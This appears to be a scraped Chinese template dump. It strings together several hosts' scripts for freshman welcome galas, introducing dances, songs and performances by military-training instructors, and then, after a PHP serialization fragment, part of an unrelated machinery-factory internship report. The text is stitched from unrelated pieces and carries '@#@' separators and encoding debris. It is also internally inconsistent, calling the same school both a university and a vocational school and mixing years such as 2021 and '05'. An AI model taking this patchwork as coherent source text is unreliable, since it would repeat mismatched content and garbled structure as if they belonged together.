@#@顶头立地，我自巍峨不倒、百炼成钢，尽显英雄本色！

@#@@#@　　军训的经历成为大学不可或缺的记忆，陪伴我们的有汗水和坚持，也有爱护我们的教官。

@#@@#@　　2：

@#@是的，下方用热烈的掌声请出我们心中的英雄DD军训团的教官们给我们带来合唱《遍地英雄》！

@#@掌声有请！

@#@@#@　　节目七：

@#@@#@　　3：

@#@接下来的节目，校民乐团的乐手们将引领我们体味古典，进入篝火和歌舞的欢乐世界。

@#@掌声有请xx老师与校民乐团同学为我们带来琵琶合奏《彝族舞曲》。

@#@请欣赏！

@#@@#@　　节目八：

@#@@#@　　4：

@#@有句歌词说：

@#@当你孤单你会想起谁？

@#@大学了，我们都要学会独立，但是我们也不要忘记身边还有许多人给我们支持和力量！

@#@@#@　　3：

@#@期望每个同学都能寻找到自我的理想和伙伴，愿每一个人都能像校园里承接阳光和雨露的小树那样茁壮成长！

@#@@#@　　4：

@#@请一齐欣赏由校艺术团话剧队和社联义工协会带来的小品《一棵树》。

@#@有请！

@#@@#@　　节目九：

@#@@#@　　1：

@#@我们艺术团各支队伍能够说都是人才辈出，成绩斐然。

@#@下方，来自校艺术团歌队的同学也将为我们带来表演。

@#@掌声有请xxx带来独唱《回家》。

@#@@#@　　节目十：

@#@@#@　　2：

@#@动感的音乐最能激发大家都热情，还有同学们最爱的街舞，必须要让你跟着我们的旋律动起来！

@#@校艺术团流行舞队的同学们就要上场，此刻，你准备好了吗？

@#@有请流行舞队带来《herewee》！

@#@@#@　　节目十一：

@#@@#@　　4：

@#@在我们华农大美丽的校园里，有一群靓丽的“高人”，经常出没在校内外各大晚会中，而且在全国比赛中屡屡获奖，已经成为校园里一道独特的风景线。

@#@他们就是艺术学院服装设计与表演班的同学们。

@#@下方，就让我们一齐领略他们的t台风采！

@#@请欣赏时装表演《霓裳羽衣》！

@#@@#@　　节目十二：

@#@@#@　　2：

@#@刚才精彩的时装表演带给我们不一样的风情，其实舞蹈也能够将我们带向远方。

@#@@#@　　3：

@#@xxx那么你知不明白，有一种神秘的舞蹈，起源于人们对神无比虔诚洁净的爱，甚至人们只表演给神看？

@#@@#@　　2：

@#@我还明白，舞者能够借由身体表达七情六欲甚至宇宙万物。

@#@这种美丽的'@#@舞蹈就是印度舞。

@#@@#@　　3：

@#@下方，校艺术团民族舞队要将最圣洁的赞歌，最虔诚的喜悦送给你，请欣赏他们演绎的舞蹈《圣河》！

@#@@#@　　节目十三：

@#@@#@　　1：

@#@xxx，晚会前面我们已经欣赏了一个精彩的军训团节目。

@#@我但是真是意犹未尽啊！

@#@@#@　　4：

@#@是的，此刻正是军训最后的紧张时刻，大家说，我们再让教官来一个好不好啊？

@#@@#@　　1：

@#@掌声有请军训教官带来格斗术表演！

@#@@#@　　节目十四：

@#@@#@　　1：

@#@我想问大家一个问题：

@#@这个世界上谁最爱你？

@#@xx我听到一个声音：

@#@妈妈！

@#@没错，是母亲给了我们生命，给了我们家DD世界上没有比母爱更深的海，也没有比母亲的牵挂更长的路！

@#@@#@　　2：

@#@是的，但我也想问问大家：

@#@你最爱的人是谁？

@#@xxx也许有的答案就不是妈妈。

@#@母亲永远是这么无私地养育我们成长，同学们，此刻我们上大学了，不要忘了妈妈的牵挂，别忘了要常常打个电话，问一声，“妈妈，您好吗？

@#@”@#@　　1：

@#@这天，就让我们一齐来为妈妈唱一首赞歌。

@#@掌声有请艺术学院方晓青老师倾情演绎歌曲：

@#@《母亲》！

@#@@#@　　节目十五：

@#@@#@　　3：

@#@我们同学共同经历了军训，都体验过这个火热季节的汗水和欢乐。

@#@但是大家知不明白，学校有xx位老师为了以更好地方式迎接新生，也经历了一场训练？

@#@@#@　　4：

@#@这是负责学生工作的xxx位女老师，她们在辛勤的工作之余，抓紧时光，盛夏的舞蹈室留下了她们几个月来的辛劳汗水。

@#@@#@　　3：

@#@下方，就让我们用热烈的掌声请出这群美丽的老师带来舞蹈《赶太阳》！

@#@由xxx老师领舞！

@#@@#@　　节目十六：

@#@@#@　　2：

@#@我们来自东西南北，我们心贴心，情暖情；@#@我们是中国新时代的儿女，是建设祖国的预备兵；@#@@#@　　1：

@#@我们怀着时代的豪情和激扬的理想走到一齐，让我们为着更完美的明天共同奋斗！

@#@@#@　　2：

@#@也让我们以歌舞《东西南北兵》，向敬爱的军训部队教官致以深深的谢意！

@#@教官，你们辛苦了！

@#@@#@　　1：

@#@请欣赏由艺术学院杨媚老师，校艺术团民族舞队以及信息学院新生共同演绎的歌舞《东西南北兵》！

@#@@#@　　4：

@#@今夜，我们欢聚一堂共度这完美的夜晚；@#@@#@　　3：

@#@今夜，我们热情奔放共享这启航的时刻；@#@@#@　　2：

@#@今夜，打开你心中的枷锁尽情去燃烧所有的梦想；@#@@#@　　1：

@#@今夜，展露你年轻的翅膀自由在文化的国度中翱翔！

@#@@#@　　2：

@#@相聚的时光总是欢乐而短暂，我们的晚会已经接近尾声，很高兴能与你们DD新一届xx人欢聚一堂，度过这个难忘的夜晚；@#@@#@　　3：

@#@在那里要衷心感谢xxx对本台晚会的大力支持，感谢莅临晚会的各位嘉宾和领导！

@#@同时也感谢今晚所有台前幕后的工作人员！

@#@@#@　　1：

@#@此刻，我宣布：

@#@20xx年xxx到此结束！

@#@祝大家@#@　　合：

@#@晚安！

@#@@#@　　4：

@#@恭请各位领导嘉宾上台与演员、工作人员合影留念。

@#@@#@　　甲：

@#@尊敬的各位领导，@#@　　乙：

@#@亲爱的老师、新老同学们，@#@　　合：

@#@大家，晚上好！

@#@（鞠躬）@#@　　丙：

@#@一份耕耘，一份收获。

@#@x年的埋头苦读，xx载的不懈追求，我们终于实现了自己的梦想，来到了知识的象牙塔，跨入了中国华侨学府――xx中专职业学校。

@#@@#@　　丁：

@#@今晚，我们来自五洲四海、祖国八方的莘莘学子欢聚一堂，为你们即将开始的全新的中专生活而举杯相庆。

@#@@#@　　甲：

@#@是啊，今夜我们又回到了这个美丽、浪漫的xxx市，在温柔如醉的夜风里回味我们在这里留下的每一缕或青涩或稚嫩的足迹。

@#@虽然xx学院建成只有短短的xx年时间，但我们对这里的感情是真挚的，是眷恋的，在这里学习生活的每一天都是我们人生中最美好的回忆。

@#@@#@　　乙：

@#@我们热情地欢迎师弟师妹的到来，在你们纯净如水的目光里，我们仿佛看到了曾经的自己。

@#@我们更相信，以你们的才华和智慧，以你们的锐气与朝气，必将创造出xx校区崭新的辉煌与奇迹！

@#@@#@　　1、高山族集体舞――《杵舞》@#@　　丙：

@#@秋天是丰收的季节，春夏的辛勤耕耘终于化作了今天的累累硕果，我们收获了。

@#@我们环抱着沉甸甸的梦想走进了暨大的校门，我们又将继续耕耘和收获。

@#@@#@　　丁：

@#@收获的果实带给人们的是最充实、最丰盈的喜悦。

@#@看着收获，姑娘、小伙子们跳起了丰收之舞！

@#@这支高山族的《杵舞》，不仅表达了她们对丰收的喜悦，也表达了炎黄子孙血脉相承的浓浓情意。

@#@首先请欣赏高山族舞蹈《杵舞》。

@#@@#@　　2、土风舞――《夏威夷风情》@#@　　甲：

@#@提起夏威夷，我总会想起高高摇曳的棕榈树，碧蓝澄净的大海，软语呢喃的沙滩，还有夏威夷姑娘阳光般炽热的双眸，好一派迷人的热带风情。

@#@@#@　　乙：

@#@的确，提起夏威夷，总是让人产生无尽的向往。

@#@今天xx学院的同学为我们带来了一个很特别的节目，肯定可以吸引大家的眼球和注意力。

@#@@#@　　甲：

@#@嗯？

@#@什么节目那么神秘啊？

@#@@#@　　乙：

@#@看吧！

@#@在灿烂的阳光下，热力的沙滩上，碧蓝的大海边，我们充满热带气息的姑娘和富有活力的小伙子走过来了！

@#@请欣赏获得学校国际土风舞大赛三等奖的《夏威夷风情舞》。

@#@@#@　　3、当代三人舞――《乡柳》@#@　　甲：

@#@闲梦远，南国正芳春。

@#@船上管弦江面渌，满城飞絮滚轻尘，闲梦远，南国正清秋。

@#@千里江山寒色远，玉笛轻悠明月楼。

@#@一首江南词写不尽苏杭院落的婉约情致，似乎只有低垂的杨柳枝才能摇曳出水乡那份特有的柔美、空灵，请欣赏获得学校“青春之歌”舞蹈大赛一等奖的三人舞《乡柳》。

@#@@#@　　4。

@#@独唱――《纽约的司机驾着xx的梦》（xx）@#@　　丙：

@#@哎呀，xx，我觉得刚从xx校区回到本部的师弟都好厉害啊，xx级新闻广电的xx同学就是其中一位。

@#@他的声音很像xxx，一首《纽约的司机驾着xx的梦》已经唱红了我们暨大的校园南北。

@#@@#@　　乙：

@#@是啊，他获得过学校“北极光”歌唱大赛的冠军，刚刚录制的mtv又被选为xx高校赴京参赛的作品，让我们先以热烈的掌声预祝他取得成功。

@#@@#@　　丙：

@#@其实，学校非常重视大学生的素质教育，为新老同学们提供了各种展现自己才华和能力的平台，参加艺术团、学生会、团委，参加学术科技项目和各种社团组织，都是锻炼自我的好机会，希望新老同学们能为自己的大学生活涂上更绚烂的色彩。

@#@@#@　　乙：

@#@现在有请xx带来他的《纽约的司机驾着xx的梦》。

@#@@#@　　5、当代三人舞――《远山的孩子》@#@　　甲：

@#@一点星星的火，可以燃亮心中的希望。

@#@@#@　　丁：

@#@一句真挚的话语，可以温暖期待的心房。

@#@@#@　　甲：

@#@将目光投向无尽的远方，那里有渴望真诚与爱的目光。

@#@@#@　　丁：

@#@将目光投向无尽的远方，我们相信关爱带来的无穷无尽的力量。

@#@@#@　　甲：

@#@这是一个发生在遥远山区的故事。

@#@那里的孩子因为贫穷而不得不离开他们最钟爱的课堂，她们手里捧着书，听着窗内朗朗的读书声，眼里，充满了晶莹的泪光。

@#@@#@　　丁：

@#@我们是多么幸运，坐在宽敞的教室里接受知识的洗礼，沐浴科学的光芒。

@#@而远山的孩子们读不起书、上不起学，但他们不气馁不放弃，你听到他们在田拢边上稚嫩的读书声了吗？

@#@请欣赏舞蹈《远山的孩子》。

@#@@#@　　6、苗族女子集体舞――《阿哩哩》@#@　　乙：

@#@看了刚才远山的孩子我真的是被触动了，好象人心底最柔软的地方被刺痛了，看着他们艰难的求知历程，我们有什么理由不珍惜现在美好的大学生活呢？

@#@@#@　　丙：

@#@对！

@#@懂得珍惜就会更加努力，我们xx级师妹就努力在被非典封闭的xx校区，排练诞生了下面这个苗族舞蹈。

@#@@#@　　乙：

@#@就让我们掌声请出这些美丽的苗族少女，在她们赶集归来的活泼的舞姿里，去领略苗家人特有的奔放与热情。

@#@请欣赏获得学校“青春之歌”舞蹈大赛民族舞类集体舞一等奖的《阿哩哩》。

@#@@#@　　7、中国武术团体刀――《精忠报国》@#@　　丁：

@#@中华文化，源远流长。

@#@@#@　　丙：

@#@中华的武术，博大精深。

@#@@#@　　丁：

@#@我们xx大学的武术队更是藏龙卧虎。

@#@他们经常代表学校参加各种比赛，为学校争得荣誉。

@#@@#@　　丙：

@#@是啊，今天为我们表演的同学（介绍获奖情况）@#@　　8、蒙古族独舞――《乳飘香》@#@　　丙：

@#@在我们学校深厚的人文底蕴孕育下，涌现出了很多舞蹈方面的专才，她们成长在校园里，她们飞旋在舞台上，她们对艺术有执着的追求，她们为校园文化品味的提升，奉献了一个又一个力作经典。

@#@@#@　　丁：

@#@这支蒙古族舞蹈《乳飘香》，就曾获得学校xx“青春之歌”舞蹈大赛民族舞类的独舞一等奖，同时，表演者xxx同学也获得全场女演员奖。

@#@让我们随着xxx同学优美舒展的舞姿，走进美丽辽阔的大草原。

@#@@#@　　9、独唱――《十八湾水路到我家》（xx）@#@　　丙：

@#@xx，我们都喜欢听民歌，那么，民歌的特点是什么呢？

@#@@#@　　乙：

@#@简单讲，民歌是指人们口头创作的歌曲，形式生动活泼，富有地方色彩。

@#@@#@　　丙：

@#@好了，下面我们将要出场的是一位民歌歌手，她的《十八湾水路到我家》也同样录制为mtv代表广东高校选送赴京参赛。

@#@我们也用热烈的掌声预祝他取得好成绩，有请xx。

@#@@#@　　10、俄罗斯双人舞――《约会》@#@　　丁：

@#@xx，你有没有觉得xx学院的风景很有情致啊？

@#@青山绿水，杨柳依依，曲桥碧波，相映成趣，温馨浪漫的湖边似乎是情人低语的好地方啊！

@#@@#@　　甲：

@#@是啊，我国的古典诗句是有“月上柳梢头，人约黄昏后”的羞涩，横梯画阁黄昏后，南北小桡通”的神秘。

@#@可见，我们中国人表达情感的方式是细腻而婉约的。

@#@@#@　　丁：

@#@不错，但是俄罗斯人表达情感的方式却是热情如火，浓烈似酒的。

@#@不信？

@#@让我们一同在俄罗斯双人舞《约会》中去感受一下吧。

@#@@#@　　11、日本女子集体舞――《伞扇舞》@#@　　丁：

@#@嗯，xx啊，你知道我们xx大学这一名称的来历吗？

@#@@#@　　甲：

@#@这个我当然知道了啊。

@#@我们xx中专是中国第一所由国家创办的华侨学府。

@#@“xx”二字出自《尚书？

@#@禹贡》篇：

@#@“东渐于海，西被于流沙，朔南暨，声教讫于四海。

@#@”意思即面向南洋，将中华文化远远传播到五洲四海。

@#@@#@　　丁：

@#@是啊，学校一直秉承这一办学宗旨，致力于弘扬和培育民族精神，将中西文化融会贯通，使之兼收并蓄。

@#@在这里，我们可以领略到各个国家、地区的风土人情。

@#@下面就让我们随着日本舞蹈《伞扇舞》去感受那清醇的东亚之风。

@#@@#@　　12、手风琴独奏（xx级新生――xx）@#@　　13、斯里兰卡女子集体舞――《罐舞》@#@　　丙：

@#@你看，勤劳淳朴的斯里兰卡姑娘们正头顶水罐，在那小溪边欢乐的嬉戏。

@#@@#@　　乙：

@#@是的，斯里兰卡的《罐舞》正是表现了这样一种民风民俗，让我们一同去舞蹈中领略那一份最真实的劳动之美吧。

@#@@#@　　14、当代男子集体舞――《壮士》@#@　　丙：

@#@在阴霾沉沉的非典时期，我们的心里笼罩着恐惧，我们的生命面临着威胁。

@#@就在这场没有硝烟的战争中，是白衣天使战斗在前线，她们英勇无畏、舍身为人的精神，令人敬佩、使人动容！

@#@@#@　　丁：

@#@当侵略战火燃烧祖国大地，我们的家园化为一片焦土，我们的亲人血流成河。

@#@就在那民族危难的生死关头，是人民战士屹立于枪林弹雨，他们临危不惧、甘洒热血的气概，谱写了一曲曲悲壮的赞歌。

@#@@#@　　丙：

@#@溯历史，我们是一个英雄辈出的国家，为今朝，千万先烈献出了无比宝贵的生命。

@#@@#@　　丁：

@#@下面就让我们通过获得学校“青春之歌”舞蹈大赛三项大奖的当代舞《壮士》，去领略那一份战争的惨烈与壮美。

@#@@#@　　15、当代集体舞――《青春・*》@#@　　乙：

@#@有人说青春是一笔宝贵的财富，失去了就永远追不回来；@#@有人说*更是一把难得的金钥匙，有了它就能开启幸福彼岸的大门。

@#@@#@　　丙：

@#@而我们大学生就是天底下最幸福、最幸运的人。

@#@我们有年轻的资本，有蓬勃的朝气，一切对于我们都那么新鲜、那么明亮，我们应该是阳光下面笑容最灿烂的人！

@#@@#@　　丁：

@#@保持年轻的心态和生活的*会让我们更深入地体味生活，我们要一直像一个好奇的孩子一样，在学习中不断地探索，像一个勇敢的孩子一样，跌倒了再爬起来。

@#@@#@　　甲：

@#@让我们踏着青春的节拍，释放热情的舞步，让我们――@#@　　合：

@#@让我们拥抱青春拥抱热情！

@#@@#@　　丙：

@#@相聚的时间总是欢乐而短暂的，现在我们今晚的晚会已经接近尾声了，很高兴能与你们――新一代xx人欢聚一堂，度过这个难忘的夜晚。

@#@@#@　　丁：

@#@相聚的时间是有限的，但是我们彼此之间的情谊是无限的，虽然今晚我们就要赶回xx，但我们依旧牵挂着你们，关心着你们。

@#@@#@　　甲：

@#@你们是幸运的，不仅仅因为你们如愿以偿的迈进了大学的校门，更因为幸运的你们将亲眼见证我们xx中专百年的华诞！

@#@@#@　　乙：

@#@古老的xx，年轻的xx，也将因为你，因为我，因为我们每一个xx学子而蓬勃向上、华年永驻！

@#@@#@　　丙：

@#@感谢莅临今晚晚会的各位嘉宾和领导；@#@@#@　　丁：

@#@感谢今晚所有台前幕后的工作人员；@#@@#@　　甲：

@#@我们祝愿所有xx校区的同学努力进步，学业有成。

@#@@#@　　乙：

@#@让我们来日再见！

@#@@#@　　合：

@#@再见！

@#@@#@　　A：

@#@尊敬的各位领导@#@　　B：

@#@各位来宾@#@　　C：

@#@亲爱的老师们@#@　　D：

@#@同学们大家（合）晚上好！

@#@@#@　　A：

@#@欢迎来到20xx“感动轻院，畅想青春”迎新文艺晚会现场@#@　　A：

@#@走过春天，我们感受着绿色的萌动，那是希望在成长@#@　　B：

@#@走过夏天，我们体会着红色的激情，那是青春在飞扬@#@　　C：

@#@走进金秋，我们在这里挥洒汗水，收获梦想@#@　　D：

@#@军训的号角还在耳边回响，希望的种子已经破土发芽@#@　　A：

@#@在十八年的生命历程中，我们沐浴着爱的阳光茁壮成长@#@　　B：

@#@在十二载的寒窗求索后，我们意气风发迈进象牙塔追寻梦想@#@　　C：

@#@我们将从这里出发，开始人生中最美妙的旅程@#@　　D：

@#@我们将从这里起飞，为xx轻院的开拓创新、蒸蒸日上而续写辉煌@#@　　A：

@#@下面请允许我隆重地向大家介绍出席本次晚会的各位领导和嘉宾：

@#@@#@　　他们分别是（待定）@#@　　B：

@#@让我们以热烈的掌声对各位领导的光临表示衷心的感谢！

@#@@#@　　C：

@#@下面有请xxx上台致辞，大家欢迎！

@#@@#@　　D：

@#@感谢xxx热情洋溢的致辞！

@#@@#@　　A：

@#@下面我宣布xxx中专20xx迎新文艺晚会，（合）现在开始@#@　　2、小合唱《簸箕上的麻雀》@#@　　在今年五月举行的xx省第三届中专艺术展演活动中，我院选送的节目《簸箕上的麻雀》音色唯美，服饰靓丽、舞蹈优雅，征服了评委和观众，最终荣获二等奖。

@#@下面就请院艺术团为大家带来富有民族特色的小合唱《簸箕上的麻雀》。

@#@@#@　　3、相声《文科生和理科生》@#@　　大家应该还记得，到了高二，都是文理分班的时候，许多同学都应该为此而烦恼过。

@#@当然，不论是文科生还是理科生，都各有所长。

@#@接下来，喜剧社将为我们讲述文科生和理科生之间的那些事，请欣赏相声《文科生和理科生》。

@#@@#@　　4、爵士舞《don’tdo》@#@　　回味完当年高中艰苦而又美好的岁月，我们来体验丰富多彩的中专生活吧。

@#@近年来，我院学生社团蓬勃发展，逐渐形成了百团大战、百家争鸣的新局面，这使得同学们在学习之余有了更多展示自我、提高自我的机会。

@#@与此同时，我院也涌现出一大批优秀的学生社团，其中xxx舞蹈社就以其精湛的舞技，新潮的编排颇具人气，接下来就有请xx老师和他的社员们为我们带来爵士舞《don’tdo》。

@#@@#@　　5、歌曲串烧@#@　　精美绝伦的舞蹈收场，动人的歌曲自然也少不了。

@#@上星期快女决赛刚刚落下帷幕，来自我们xx的选手xx虽然未能染指冠军，但她毋庸置疑的实力和充满青春的活力给大家留下了深刻的印象。

@#@院学生会每年举办的十佳歌手大赛也早已成为我院的一个品牌，接下来就有请上届十佳歌手代表为我们带来歌曲串烧，那可是别有一番风味啊。

@#@@#@　　6、街舞《thesouldancing》@#@　　万事万物总在不停地新旧交替之中，新生的到来也就意味着老生的离去，已经实习的中三学长今天也来为我们助兴，街舞《thesouldancing》，有请。

@#@@#@　　7、T台走秀@#@　　大家一定经常看到电视上面模特走秀，也一定很想在在台上过过瘾，接下来就有请理颜形象社为我们带来精彩的晚装T台秀。

@#@@#@　　8、大合唱《如火的朝阳》@#@　　有这样一群人，他们和我们有着相似的年龄，每当开学之际，顶着烈日酷暑不远千里而来，教我们吃苦耐劳，教我们团结奋进。

@#@在和他们的朝夕相处中，我们有汗水，也有泪水，但更多的是收获，是成长。

@#@接下来，有请来自xxxx大学的军训教官们带来的校歌《如火的朝阳》。

@#@@#@　　9、手语操《相亲相爱一家人》@#@　　在我们的大学的生活里，还有那么一群人，她们每天起得比我们早，睡得比我们晚，衣服脱线了，她们给我们补，天气转凉了，她们提醒我们要多添衣…她们无微不至地照料和关系着我们的生活。

@#@她们，就是我们可爱可敬的物管阿姨们，接下来就由后管xx物业的阿姨们为我们带来手语操《相亲相爱一家人》。

@#@@#@　　10、歌伴舞（待定）@#@　　A：

@#@今夜，桃李芬芳，凝聚了多少欢欣，多少梦想。

@#@@#@　　B：

@#@今夜，欢声笑语，流淌着多少激情，多少期盼。

@#@@#@　　C：

@#@今夜，舞姿曼妙，我们为美好青春跳出跃动的节拍。

@#@@#@　　D：

@#@今夜，歌声飞扬，我们为大学生活展开美妙的篇章。

@#@@#@　　A：

@#@走出这一个夜晚的星光灿烂，我们会在下一个黎明看到升起的朝阳。

@#@@#@　　B：

@#@走出这一个金秋的花好月圆，我们将在又一个春天拥抱生命的希望。

@#@@#@　　C：

@#@从这里出发，我们将携手奋进，开始崭新的拼搏历程；@#@@#@　　D：

@#@从这里出发，我们将不懈求索，实现青春的美好梦想。

@#@@#@　　A：

@#@xx中专20xx迎新文艺晚会到此结束。

@#@@#@　　B：

@#@再次向到场的领导和来宾表示衷心的感谢，也谢谢所有老师和同学的积极参与，（合）朋友们，再见！

@#@@#@";i:

19;s:

29791:

"有关机械厂实习报告字@#@有关机械厂实习报告2000字@#@机械厂实习报告2000字

（一）@#@大一暑假时我到了广东省XX机械厂实习，而五一劳动节期间我又利用了放假的时间再次来到这里进行实习。

@#@现在大三的我在学习了更多专业的管理学知识后，特别是这个学期学习了生产与运作管理的知识后，在实践当中有了比以往更深的体会，现在我能从更多的角度观察公司的运作，能够学习到更多的知识以及发现公司中所存在的一系列问题，以下就是我在这次实践中的一些心得体会，我的报告将从该公司的营销工作，内部管理两个大的方面写下我在公司中学到的有用的知识以及我所发现的公司的一些不足之处还有我对该公司的一些意见。

@#@@#@先对XX机械厂作一下简单的介绍。

@#@XX机械厂是一我国橡胶机械制造主要厂家之一。

@#@提供换热产品，热管，轮胎厂脱氧热水站装置，蒸汽蓄热器，锅炉除氧器，轮胎成型机，切胶机，硫化机，各类硫化罐等产品。

@#@其中硫化机是该公司最主要的产品。

@#@在总公司属下包括十个二级单位，包括重型机械厂，压力容器厂，橡塑机械厂，通用机械厂，铸造厂，三得利公司，新力公司，储运公司，XX公司以及销售公司。

@#@2021年该公司全年完成工业总产值***-*****0元，销售收入***-*****元，全年亏损为68万元。

@#@公司发展任务异常紧迫。

@#@@#@接着是我通过自己的观察以及对公司有关领导的提问而了解到的公司的营销工作，内部管理以及公司发展的有关内容和我自己通过思考得出的一些见解。

@#@这些是我在实践中所得到的重要收获。

@#@@#@第一方面，公司的营销工作。

@#@@#@公司的营销工作可以说是公司经营的核心内容，是各项工作的重中之重，营销工作的好坏，市场开发得成功与否直接关系到公司的存亡。

@#@我在实践过程中充分明白到了营销工作的重要性。

@#@湛机集团在2021年的营销工作有成绩，但不足也是明显的，其中的得失值得我去从思考。

@#@从2021年下半年起，各方面汇集的信息已经反映，橡机市场收缩的端倪显现，湛机集团对此已有所警觉，可以说是对橡机市场的变化有了一定的思想准备了，并对营销策略作出了相应的调整。

@#@但是由于市场变化的剧烈程度远超出了公司的想象，对公司造成了严重的不利影响，反映在下面几个方面。

@#@@#@首先是国内橡胶市场行业投资热的降温。

@#@由于国家经济宏观调控措施，导致橡胶行业投资热的降温，尤其是轮胎业投资明显减少，这一情况对湛机集团造成了直接影响。

@#@市场供求严重失衡。

@#@需求的减少使得获取订单十分困难。

@#@已有的订货又因客户的资金迟迟不能到位而一再要求推迟交货。

@#@致使湛机集团一再陷入被动，以投入的资金无法周转，生产场地的占用又对后续产品生产造成阻碍。

@#@@#@再就是市场环境进一步恶化，贷款回笼危险增大。

@#@由于橡机市场早已形成买方市场，且进年来程度更深。

@#@在商务谈判中，制造厂家始终处于被动地位往往为了在市场上立足而迁就对方。

@#@这不但加大了资金筹措的压力，也使贷款回笼的带来了极大的风险。

@#@05年公司的贷款回笼下降了20%。

@#@就与这情况直接相关。

@#@@#@面对严峻的市场形势，公司的领导班子进一步将公司的工作重心移到营销工作，采取一系列措施进行应对。

@#@一是调集力量充实销售队伍。

@#@二是加强市场调查和信息收集工作。

@#@三是加派人员走访客户，了解需求。

@#@四是进一部加大非橡机市场的开发。

@#@据我的了解，这些措施是公司经常提到的，但是以往却很难落实到位，效果并不好。

@#@现在公司加大了这些措施的落实力度，按目前的观察已经有了一定的进展。

@#@比如说湛机集团已对市场的发展动态有了较清晰的了解，公司的知名度有所恢复，商业投标更具信心等。

@#@另外，部分二级公司的市场开发有新的发展。

@#@如压容厂去年承接的中油BP公司，佛山安得里茨公司等单位的产品工程，成为公司市场开发的亮点。

@#@公司能够针对市场变化作出相应的改变，依据市场需求而作出变化这点让我有了很大的体会，不依据市场行事，最后也会是死路一条的。

@#@@#@在我的观察看来，开源固然重要，但节流也是必不可缺的，公司的营销费用也是一笔不小的开销，如果能把着这个成本有效的降低，对公司也会起到作用。

@#@而要把营销费用降低，把营销人员的报销费用制定一个标准，并严厉的执行，我认为是行之有效的。

@#@在争取更多渠道获得收入的情况下，也要努力把营销的成本压低。

@#@@#@第二方面，公司的内部管理工作。

@#@@#@公司能否在激烈的市场竞争中站稳脚跟，最终是由公司实力决定的。

@#@湛机集团在市场上竞争力不强，是自身实力不足的反映。

@#@这包括公司硬件和软件两方面的不强。

@#@@#@公司的硬件实力最主要的就是公司的生产能力，湛机集团最主要的产品就是硫化机，我在实习中到过车间了解硫化机的生产。

@#@硫化机是一中用来固定橡胶产品的机械，例如轮胎的固定，都需要到硫化机。

@#@为了更好的介绍硫化机，我先介绍轮胎的生产流程，如下：

@#@@#@从上图可以看到，硫化工序是轮胎制造的最后一个工序，在轮胎的生产以及其他的橡胶制造上，硫化机都是必不可少的。

@#@作为一种大型的机械，硫化机的生产过程十分的复杂，现在简单的介绍一下：

@#@@#@硫化机生产流程图@#@从客观条件来看，要在短期内大幅度的提高湛机集团的硬件水平，如增添关键设备等是不切实际的。

@#@因此，通过提高管理水平而提高公司的软件水平就才是至关重要的。

@#@湛机集团的产品在参与市场竞争时常受到价格，供货期等问题的困扰，缺乏竞争力。

@#@同样的交货期，为什么别的公司可以接受，而湛机又不能做得到，这个问题是值得深思的。

@#@所以，公司已经有意识的在管理上做出了努力，以增强企业的适应能力。

@#@如在生产管理上有了改观，生产调度权威有了初步的树立，产品产出的周期缩短。

@#@但在其他的一些方面还存在很大的不足，以下我列举一下我观察到的和了解到的一些比较突出的问题。

@#@@#@一是部分职工思想观念陈旧，市场竞争意识远未树立，工作缺乏责任心和主动性，纪律散漫。

@#@具体表现在任务不足收入减少是就怨天尤人，一旦任务紧就漫天要价，不顾公司的利益。

@#@二是产品开发能力弱，产品质量不高，不适应市场的需求。

@#@由于工程技术人员和有技术工人的日益短缺，使公司在新产品新技术开发方面十分乏力，影响市场的开拓。

@#@三是产品成本过高，产品价格缺乏竞争力。

@#@这方面公司已作出多方面的努力，但以市场要求衡量，差距是明显的。

@#@四是生产能力发挥不足。

@#@这方面除了设备和人员能力等条件影响外,人为因素还是主要的，由于小团体利益的作怪，二级单位在产品生产的协调上缺乏全局观念，影响了整个公司生产能力的发挥。

@#@五是公司的库存管理做得不好，导致很多零件的浪费，很多零件由于存放得太久，使其过期报废了，造成了不少的损失，这个现象无论是总公司还是各二级单位都普遍存在，必须给予充分的重视。

@#@@#@要解决上述问题也不是一朝一夕的事，必须创新思维，采取非常措施来加快解决这些问题的步伐，否则一切都只是空话，很难会实现。

@#@在我看来让二级单位实行职工个人承包制经营是一个好办法。

@#@以橡塑机械厂为例，在承包后传统产品市场得到恢复和发展，承包费按时上缴。

@#@职工收入增加，企业气氛和谐。

@#@这是很值得各全公司深思的。

@#@@#@以上就是我在这次实习中的感受。

@#@通过这次的实习，可以说我是得到了收获的，通过实践与课本的结合，能更好的帮助自己学习到知识，为将来的就业积累到一定的经验。

@#@@#@机械厂实习报告2000字

（二）@#@我叫xxx，是xx专业的学生，从2021年xx起，我开始了校外实习工作，经过努务，我终于找到了一家适合自己的企业，那时我感到无比的兴奋和愉悦。

@#@似乎体会到了大学生找工作的困难，踏破铁鞋无觅处，我终于来到了南海区一家实业有限公司实习。

@#@虽然实习的时间短之又短，但是，获益良多。

@#@要不是多得运营管理课的课程要求，我想也没有机会得到这么好的实习机会。

@#@该公司属下企业有机械厂，彩印厂和纸品厂。

@#@我主要是到其机械厂实习工作。

@#@@#@机械厂已经有二十多年的发展历史，以成为集研制、生产、销售、技术培训于一体，拥有高精度电脑控制机械加工中心等全套加工设备的大型专业包装设备制造厂。

@#@目前主要生产瓦楞纸箱机械，产品包括：

@#@自动和半自动轮转开槽切角机，全电脑高速水墨印刷开槽机、全电脑高速水墨印刷开槽模切机。

@#@还有与国际知名度高的企业日本机械株式会社合作生产高精度、高效率、先进的自动平压模切机等。

@#@@#@该机械厂的组织机构设置很简练。

@#@主要是董事——秘书及会计——经理管理各个部门。

@#@@#@由于机械厂的设备很先进，在生产线上不会像往常的工厂那样满布工人，主要是某一两个人负责工作流程。

@#@这对我了解该工厂的生产流程提供了方便。

@#@@#@该厂生产的纸箱机械的需求量很稳定，是属于定单供货型的生产。

@#@由于产品的质量要求和技术含量要求都很高，因此，生产周期也比较长，单次产品需求的数量也不大。

@#@同时，每台产品的价格非常昂贵，在万元以上。

@#@@#@生产部门主要包括，采购，技术，生产，供应，销售。

@#@我被安排在供应部工作。

@#@但其工作并不是坐在办公室悠闲地写写东西，而是跟住部长随处跑，跑车间，甚至到外面去跑业务。

@#@@#@实习期间，刚好该厂正赶货，是与合作的日本企业的定单。

@#@生产进行得如火如荼。

@#@我在跟随供应部人员工作的时候，方才发现，供应这部门，在企业中极其重要。

@#@@#@首先，供应部必须与往来企业打好交道。

@#@企业的供应部与下游企业的沟通好与坏，直接影响产品的最终销售。

@#@他直接影响企业生产运作系统运行，是“保证企业产品质量、价格、交货期和服务的关键因素之一”。

@#@@#@我趁供应部的部长一有空，便向她问了很多很多的问题。

@#@她说，该厂的销售其实大部分由自家联系买家，不过主要是老客户，关系模式主要是——合作。

@#@比如与日本企业的合作等。

